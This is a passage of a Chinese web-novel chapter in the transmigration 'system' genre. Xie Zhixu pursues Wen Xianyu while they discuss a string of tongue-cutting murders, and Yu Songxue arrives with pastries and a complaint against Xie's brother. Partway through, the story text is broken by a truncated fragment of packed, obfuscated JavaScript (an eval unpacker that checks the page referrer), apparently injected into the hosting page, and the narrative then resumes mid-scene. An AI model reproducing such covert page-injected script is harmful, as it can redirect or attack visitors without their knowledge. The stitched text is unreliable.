做梦。 谢之栩的目光陡然阴冷下来,他费尽心思无非是希望他与温衔玉能脱离原本的结局,如今这死东西居然告诉他剧情会修复,既然如此,他就必须趁剧情没有修复前将整个故事线完全更改。 见谢之栩懒得理会自己,系统见怪不怪地叹了口气,一字一句地叮嘱道:“宿主,您别忘了,这次您的任务是让温衔玉对女主的亲进度达到三成,对女主萌生恻隐之心,从而洗心革面,一心向善。” “知道了。”谢之栩不耐烦地应了一声,脑中的声音见状颇有眼力见地迅速消失,生怕自己沾染上他的一丝怒意。 好一个洗心革面,一心向善!上辈子虞松雪与温衔玉为敌,是迫使温衔玉死亡的原因之一,这辈子居然让温衔玉去亲近她! 谢之栩咬了咬牙,光是想到比试前虞松雪望向温衔玉的眼神便觉一身恶寒,她凭什么用惋惜同情的目光看着温衔玉,她眼中的崇拜就像是某种肮脏的污秽,这个人就不该出现在温衔玉身边,去享受温衔玉的庇护! 额间的青筋不断直跳,谢之栩闭了闭眼,压下心底翻涌的愤懑,片刻,扯起嘴角,又抬了那双笑眼去看温衔玉的方向。 案子已经交代的差不多了,尸体很快就会有人去处理,连带着裴家公子生前接触到的人也都已经询问完毕,根据裴家公子的婢女所说,这裴公子死前曾经大喊过救命,还说了好几声“有鬼”之类的话。 鬼?青天白日的,哪来的鬼,只怕是人心叵测,心怀鬼胎的鬼。 谢之栩面无表情地想着,看温衔玉有迈步去往别处的意思,连忙也直起身抬步跟上。 蓬山的天早些时候便是浓云翻滚,午后又过了没两个时辰,终于是下起了雨,缠缠绵绵的雨丝打落在竹青色的伞上,静默到仿佛只剩雨声。 温衔玉一路想着裴家公子身上的线索,穿过竹林,终于从纷繁复杂的思绪中抽开身,回头疑惑地看向一路跟着的那人。 “谢三,你们谢家的住处好像不在这边吧。” “不在吗?”谢之栩面不改色地抬了抬眼,坦然自若道,“那就是我走错了。” “走错了就赶紧回去。”温衔玉冷淡道,“别像孤魂野鬼似的跟在我后面。” “我都孤魂野鬼了,你就不能发发善心,收留一下无家可归的鬼?”谢之栩胡诌着接了一句,眼见着温衔玉的眉头拧紧,连忙后退两步,赔笑着道,“泱泱,这下着雨呢,我都走到你门口儿了,你就不请我进去坐坐?” “有什么可坐的?”温衔玉歪了歪头,威胁道,“我们很熟?” “难道不熟?”谢之栩说着,自顾自地跟着温衔玉往前走。 温衔玉喜静,住处自然也在僻静之处,由于随行之人不多,院落不算很大,温衔玉前脚迈进去,便随口说了一句关门,月兰闻言伸手去掩,刚推了个缝隙,就对上谢之栩从门口探来的一双笑眼。 “你们主仆几人真是一个样,个顶个的死心眼儿。” “你!你居然骂我家七爷死心眼!”月兰愣了一瞬,随即立刻反应过来,只是这一骂便乱了思绪,手中推着的门被谢之栩轻易挡掉,那人竟如闲庭信步般径直走进,站在廊下,依着柱子敲了敲门。 “进了你家门,便是你家客,你们温家就是这么待客的?” 敲了两声,无人应。 谢之栩笑地更玩味了些,不厌其烦地接着敲,他对她向来很有耐心,但温衔玉对他可未必。 果不其然,刚敲了没几下,中堂内便传来细微的脚步声,谢之栩刚想象出温衔玉开门时愠怒的神情,房门便倏地打开,他敲门的手顿时僵在半空,微微弯曲的骨节距离她的额头不过咫尺,似乎只要他再往前一点点,就可以有一瞬亲昵的相触。 但偏偏他们就差这一点。 温衔玉愣怔地看了看额头停驻的手指,下一刻便蹙眉向后退了一步,谢之栩也懒得自讨没趣,错愕的神情只在眼中停留一瞬,便也放下手,扯了扯唇,满不在乎道:“温衔玉,我的人可都借给你差遣了,你我二人现在也算一条绳上的蚂蚱,你就这么对我?” “你想让我怎么对你?” “要求不高,起码请进去喝杯茶吧,我这一路都要渴死了。”谢之栩说着,露出幽怨的神情,温衔玉自知他这口渴有八分是演技,可这人的性子确实难缠,二人如今又的确算是一条船上的人,若是一杯茶就能打发掉他,那便给他一杯茶。 “月兰。”温衔玉吩咐道,“给谢三郎倒一杯茶来。” “是。”月兰刚应下,谢之栩又开口,“要新煮的,还要最好的。” “这……”月兰为难地咬了咬唇,先看了看温衔玉,见她面无表情地转身回去中堂,又求助似的看向红香,后者无奈地点了点头,月兰便只得心不甘情不愿地去拿茶叶。 中堂内,烛火细微,淡淡的香气氤氲开来,谢之栩甚是满意地端起手边的茶品了品,又抬眼看向默不作声,只摆弄着火烛的温衔玉。 “泱泱,这可都死了两个人了,你就一点都不着急?” “急有什么用?”温衔玉垂着眼,徐徐引燃蜡烛露出的小半截捻,“我在明敌在暗,要想引蛇出洞还需要再等一等。” “等?”谢之栩撂下茶杯,好笑道,“魏敬山会给你时间等?你们温家任魏氏差遣犹如看门恶犬,你以为大家都看不出来?你这差事若是办不明白,魏敬山一不满,温衔玉,你在温家不会有好果子吃。” “好一个看门恶犬。”温衔玉的眼徐徐抬起,漆黑的瞳仁寒凉幽深,烛火微微一晃,浓墨似的眼中裹挟的狠厉便暴露无遗,“我们温家是为魏氏做事,可所行之事也都是维护江南剑道的正义之举,怎么到你谢三的口中,就成了任人差遣的畜生?” 茶水被放置在桌上,原本放着的两个杯子,一个纹丝未动,一杯被拿起又放下,如今静置在那人手边,被指尖一下一下似有而无地敲着。 温衔玉不会去喝另一杯茶的,他们二人就不是能心平气和品茶的关系。 谢之栩莫名其妙地想着,轻叩地指尖一顿,收回短暂落在另一只茶杯上的目光,复而一笑,道:“是是是,正义之举,谁能有你们温家之人道貌岸然啊?可再怎么说,也是给别人做事,魏敬山其人如何,是否是明主,你温衔玉若非眼瞎,应该看得出来。” “我说温大美人啊……”谢之栩揶揄道,“反正你待在温家也是给魏氏做事,不如嫁入我谢家,我谢氏乃江南巨富,我保证,只要你肯来,只有你差遣别人的份儿,没有人敢差遣你。” “魏敬山不可信,你谢三就可信?”温衔玉毫不留情道,谢之栩挑了挑眉,没有说话,唇角的弧度微微浅了些,许久,飘飘然地开口,“不信便不信罢,不过我还是好心劝你,魏敬山那人并非仁义之辈,而今凶杀案频出,他心惊之余难免多疑,你若将案子耽搁太久,只怕更难得到他的信任。” “我知道。”温衔玉的眼睫垂下,片刻,犹疑道,“只是我总觉得这案子有蹊跷。当日用利箭射向他的人,与这两次割舌的人,似乎并非同一批人。” 温衔玉话落,谢之栩把玩茶杯的手指慢慢停住,长睫下的眼神微微闪烁了下,又慢条斯理地抬首道:“怎么说?” “谭世望死在设宴之地,裴氏死在比武场的不远处,这两处的人都不少,凶手却能轻而易举地将这恶人杀掉,甚至割舌,由此可见此案的凶手绝对是心思缜密且善于隐藏之人。而当日射向魏敬山的那一箭,直接,仓促,与其说是杀他,我倒觉得更像是要引起众人的注意,或者说是明白的告诉所有人,有人要杀魏敬山。这与前者是两种截然不同的动机。” 温衔玉淡淡地说着,话落才察觉到那人的目光正定定落在她身上,见她说完,抚掌笑起来:“哈哈哈,不愧是我的好夫人啊,果真机敏聪慧。” “谢三!”温衔玉冷冷开口,谢之栩眉梢一低,撑着头懒洋洋地道,“知道了知道了,温小七爷,温七爷,这回行了吧。” “谢三,你这口茶到底什么时候能喝完?” “怎么,要赶我走?”谢之栩眯眼笑道,“还剩一壶呢,你急什么?月兰!这茶凉了,去给我温一遍!” 谢之栩大喊着,温衔玉脸色一冷,刚要命人撤掉茶壶,就听门外传来红香的声音。 “主子,虞姑娘求见。” 虞松雪?她来做什么? “进来。” 话落,门被推开,虞松雪的一手持着伞,一手拎着食盒,眼中仿佛也藏了雨,水汽氤氲,视线扫过中堂里坐着的谢之栩,眼底的不喜一闪而逝,转眼又恢复成柔弱温和的模样。 “温姐姐。”虞松雪的称呼让温衔玉烦躁地眯了眯眼,谢之栩倒是很满意似得笑了一下,听着她接着道,“温姐姐,我知听说……听说上次我做的糕点你不喜欢吃,这次我换了新的,你尝一尝好不好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这……这……”虞松雪故作害怕地瞥了谢之栩一眼,温衔玉顺着目光冷冷看去,听虞松雪小声道,“是谢三郎的兄长……谢家大郎……” 谢兆阳? 温衔玉低笑了一声,落在谢之栩身上的眼神更添几分不满。 “谢三,你们谢家人还真是有意思,这是欺负到我的人头上来了?” “听温大美人这话,是要惩恶扬善了?”谢之栩的眉梢压低了些许,玩味地盯着温衔玉愠怒的眉眼,细细品味半晌,又用余光扫向虞松雪,慢吞吞地笑了下,目光骤然闪过一丝阴冷。 不应该啊!那谢家大郎不是谢三郎的兄长吗?谢三郎不该维护他的兄长,对温衔玉的斥责嗤之以鼻,辩解争论吗,怎么反而无所谓一般。 虞松雪咬了咬唇,不甘的目光在谢之栩身上停留几秒,又落回到温衔玉身上,眼睫轻颤几下,掩下不甘,只剩委屈懊恼。 “温姐姐…你不必因我而对谢家别动怒,别因此伤了你与谢三郎的感情。” 因她而动怒?温衔玉闻言心中轻笑一声,虞松雪配让她动怒吗?她不过是对谢兆阳明知虞松雪是她的人还敢欺辱的挑衅不满罢了,至于伤了她与谢之栩的感情,她与谢三有感情吗?何来伤害一说? 温衔玉冷笑着摇了摇头:“此事绝不能善罢甘休,你明日便随我去给谢兆阳一个教训。” “啊?可……可是突然暗中出手会不会有点卑劣?”虞松雪胆怯道,温衔玉冷冷开口,“针对什么样的人便用什么样的招数,他卑劣,我们自然也不必高尚。” “可他……毕竟是谢家人啊。”虞松雪犹豫道,月兰与红香对视一眼,没有说话,听一侧有茶杯放落声,侧首看去,见谢之栩正不急不缓地摆弄着茶杯。 “是啊,怎么说也是我的兄长啊,你怎么随意动手?”谢之栩适时开口,只是脸上没有半分担忧之色,反而是习以为常的调侃。 “泱泱,给我个面子,别直接打我大哥。”谢之栩顿了顿,补充道,“你给他套个麻袋再打,省着被血溅上。” 话落,温衔玉回首瞪了谢之栩一眼,后者懒散地向椅上一靠,心情很好似的笑起来。无人在意处,虞松雪沉默地站着,目光直直落在温衔玉身上。 这就是这本书的女反派吗? 这和系统跟她说的不一样啊…… “叮咚。”系统的声音突然响起,虞松雪霎时一惊,听脑海中的声音清晰开口。 “系统提示您,经检测,目前您对恶毒女二的感化程度为5%,距离完成任务还剩45%。”